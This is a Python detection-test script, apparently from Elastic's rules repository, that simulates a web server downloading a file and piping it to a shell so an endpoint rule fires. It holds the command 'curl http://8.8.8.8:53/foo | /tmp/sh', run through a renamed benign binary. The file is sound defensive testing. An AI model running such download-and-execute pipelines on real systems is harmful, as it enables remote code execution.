Files
sigma-rules/rta/linux_persistence_webserver_curl_wget_piped_to_interpreter.py
T
2024-10-28 22:50:12 +05:30

42 lines
1.2 KiB
Python

# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
uuid="6a25935b-be53-4447-a5b4-e413f1d2351a",
platforms=["linux"],
endpoint=[
{
"rule_name": "File Downloaded and Piped to Interpreter by Web Server",
"rule_id": "2588a595-c6c7-4d8d-b287-57b9d1e3d7e6",
},
],
techniques=["T1505", "T1059", "T1071"],
)
@common.requires_os(*metadata.platforms)
def main() -> None:
common.log("Creating a fake executable..")
masquerade = "/tmp/sh"
source = common.get_path("bin", "linux.ditto_and_spawn")
common.copy_file(source, masquerade)
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade])
commands = [masquerade, "-c", "curl http://8.8.8.8:53/foo | /tmp/sh"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)
common.log("Simulation successfull!")
if __name__ == "__main__":
sys.exit(main())